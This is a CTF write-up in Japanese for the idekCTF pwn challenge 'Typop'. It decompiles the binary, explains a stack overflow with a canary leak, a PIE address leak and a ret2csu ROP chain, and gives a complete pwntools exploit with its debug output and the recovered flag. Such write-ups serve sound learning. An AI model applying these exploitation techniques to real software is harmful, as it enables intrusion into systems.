Pwn/Typop
JW#9396

While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?

nc typop.chal.idek.team 1337

Downloads

Ghidraで解析する。main関数。
undefined8 main(void)
{
  int iVar1;
  
  setvbuf(stdout,(char *)0x0,2,0);
  while( true ) {
    iVar1 = puts("Do you want to complete a survey?");
    if (iVar1 == 0) {
      return 0;
    }
    iVar1 = getchar();
    if (iVar1 != 0x79) break;
    getchar();
    getFeedback();
  }
  return 0;
}
y(0x79)を入力してgetFeedback関数に行く。
void getFeedback(void)
{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Do you like ctf?");
  read(0,&local_1a,0x1e);
  printf("You said: %s\\n",&local_1a);
  if ((char)local_1a == 'y') {
    printf("That\\'s great! ");
  }
  else {
    printf("Aww :( ");
  }
  puts("Can you provide some extra feedback?");
  read(0,&local_1a,0x5a);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
readの読み込みサイズが大きいためバッファオーバーフローが起こる。1周目の最初の入力でlocal_10(Canary)の値を漏洩させて2回目の入力でlocal_10(Canary)の値を復元(Stack Canaryの先頭1バイトは0)して2周目へ。2周目の最初の入力でリターンアドレス(main)をリークさせてwinのアドレスを計算、2回目の入力でwin関数を呼び出す。
void win(undefined param_1,undefined param_2,undefined param_3)
{
  FILE *__stream;
  long in_FS_OFFSET;
  undefined8 local_52;
  undefined2 local_4a;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_4a = 0;
  local_52 = CONCAT17(0x74,CONCAT16(0x78,CONCAT15(0x74,CONCAT14(0x2e,CONCAT13(0x67,CONCAT12(param_3,
                                                  CONCAT11(param_2,param_1)))))));
  __stream = fopen((char *)&local_52,"r");
  if (__stream == (FILE *)0x0) {
    puts("Error opening flag file.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  fgets((char *)&local_48,0x20,__stream);
  puts((char *)&local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
win関数を呼び出す際、引数にはparam_1(EDI)=0x66(f)、param_2(ESI)=0x6c(l)、param_3(EDX)=0x61(a)をセットしておく必要がある。引数が3つ以上ある場合は、__libc_csu_init関数の「pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret」と「mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]」を利用してレジスタにセットする。

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    #p = process('./chall')
    p = gdb.debug('./chall', '''
    break __libc_csu_init
    break main
    break getFeedback
    break win
    continue
''')
else:
    p = remote('typop.chal.idek.team', 1337)

elf = ELF('chall', checksec=False)
rop = ROP(elf)

p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
canary = ret[:7]
print(canary)
canary = canary.rjust(8, b'\0')
print('canary=', canary)
saved_rbp = ret[7:].strip()
print('saved_rbp=', saved_rbp)
saved_rbp = u64(saved_rbp.ljust(8, b'\0'))
print('saved_rbp=', saved_rbp)

p.recvuntil(b"Can you provide some extra feedback?")
p.send(
    b''
    + b'A' * 0xa
    + canary
)

# 2回目
p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
    + b'B' * 8
    + b'C' * 7
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
main_addr = ret.strip()
print('main=', main_addr)
main_addr = u64(main_addr.ljust(8, b'\0'))
main_addr -= 55
print('main=', main_addr)
diff = elf.symbols['win'] - elf.symbols['main']
print(diff)
win_addr = main_addr + diff

call_r15 = 0x000014b0   # mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]
call_r15 += main_addr-elf.symbols['main']
popret_rbx = 0x000014ca # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
popret_rbx += main_addr-elf.symbols['main']

p.recvuntil(b"Can you provide some extra feedback?\n")
p.send(
    b''
    + b'A' * 0x2
    + p64(win_addr)
    + canary
    + p64(saved_rbp)
    + p64(popret_rbx)
    + p64(0)    # 0 -> rbx
    + p64(1)    # 1 -> rbp
    + p64(0x66) # 'f' -> r12
    + p64(0x6c) # 'l' -> r13
    + p64(0x61) # 'a' -> r14
    + p64(saved_rbp - 0x20) # win_addr -> r15
    + p64(call_r15)
)

ret = p.recvall()
print(ret)
実行すると次のようになる。
[x] Opening connection to typop.chal.idek.team on port 1337
[x] Opening connection to typop.chal.idek.team on port 1337: Trying 34.85.186.45
[+] Opening connection to typop.chal.idek.team on port 1337: Done
[*] Loaded 14 cached gadgets for 'chall'
[DEBUG] Received 0x1e bytes:
    b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x22 bytes:
    b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
    b'y\n'
[DEBUG] Received 0x11 bytes:
    b'Do you like ctf?\n'
[DEBUG] Sent 0xb bytes:
    b'AAAAAAAAAA\n'
[DEBUG] Received 0x4f bytes:
    00000000  59 6f 75 20  73 61 69 64  3a 20 41 41  41 41 41 41  │You │said│: AA│AAAA│
    00000010  41 41 41 41  0a ac 7f 5b  2f db 39 85  e0 97 98 ac  │AAAA│···[│/·9·│····│
    00000020  fc 7f 0a 41  77 77 20 3a  28 20 43 61  6e 20 79 6f  │···A│ww :│( Ca│n yo│
    00000030  75 20 70 72  6f 76 69 64  65 20 73 6f  6d 65 20 65  │u pr│ovid│e so│me e│
    00000040  78 74 72 61  20 66 65 65  64 62 61 63  6b 3f 0a     │xtra│ fee│dbac│k?·│
    0000004f
b'\xac\x7f[/\xdb9\x85\xe0\x97\x98\xac\xfc\x7f\n'
b'\xac\x7f[/\xdb9\x85'
canary= b'\x00\xac\x7f[/\xdb9\x85'
saved_rbp= b'\xe0\x97\x98\xac\xfc\x7f'
saved_rbp= 140723204167648
[DEBUG] Sent 0x12 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 00 ac  7f 5b 2f db  │AAAA│AAAA│AA··│·[/·│
    00000010  39 85                                               │9·│
    00000012
[DEBUG] Received 0x22 bytes:
    b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
    b'y\n'
[DEBUG] Received 0x11 bytes:
    b'Do you like ctf?\n'
[DEBUG] Sent 0x1a bytes:
    b'AAAAAAAAAABBBBBBBBCCCCCCC\n'
[DEBUG] Received 0x57 bytes:
    00000000  59 6f 75 20  73 61 69 64  3a 20 41 41  41 41 41 41  │You │said│: AA│AAAA│
    00000010  41 41 41 41  42 42 42 42  42 42 42 42  43 43 43 43  │AAAA│BBBB│BBBB│CCCC│
    00000020  43 43 43 0a  47 74 e9 3d  a0 55 0a 41  77 77 20 3a  │CCC·│Gt·=│·U·A│ww :│
    00000030  28 20 43 61  6e 20 79 6f  75 20 70 72  6f 76 69 64  │( Ca│n yo│u pr│ovid│
    00000040  65 20 73 6f  6d 65 20 65  78 74 72 61  20 66 65 65  │e so│me e│xtra│ fee│
    00000050  64 62 61 63  6b 3f 0a                               │dbac│k?·│
    00000057
b'Gt\xe9=\xa0U\n'
main= b'Gt\xe9=\xa0U'
main= 94146721838096
-455
[DEBUG] Sent 0x5a bytes:
    00000000  41 41 49 72  e9 3d a0 55  00 00 00 ac  7f 5b 2f db  │AAIr│·=·U│····│·[/·│
    00000010  39 85 e0 97  98 ac fc 7f  00 00 ca 74  e9 3d a0 55  │9···│····│···t│·=·U│
    00000020  00 00 00 00  00 00 00 00  00 00 01 00  00 00 00 00  │····│····│····│····│
    00000030  00 00 66 00  00 00 00 00  00 00 6c 00  00 00 00 00  │··f·│····│··l·│····│
    00000040  00 00 61 00  00 00 00 00  00 00 c0 97  98 ac fc 7f  │··a·│····│····│····│
    00000050  00 00 b0 74  e9 3d a0 55  00 00                     │···t│·=·U│··│
    0000005a
[x] Receiving all data
[x] Receiving all data: 0B
[DEBUG] Received 0x1f bytes:
    b'idek{2_guess_typos_do_matter}\n'
    b'\n'
[x] Receiving all data: 31B
[+] Receiving all data: Done (31B)
[*] Closed connection to typop.chal.idek.team port 1337
b'idek{2_guess_typos_do_matter}\n\n'
フラグは
idek{2_guess_typos_do_matter}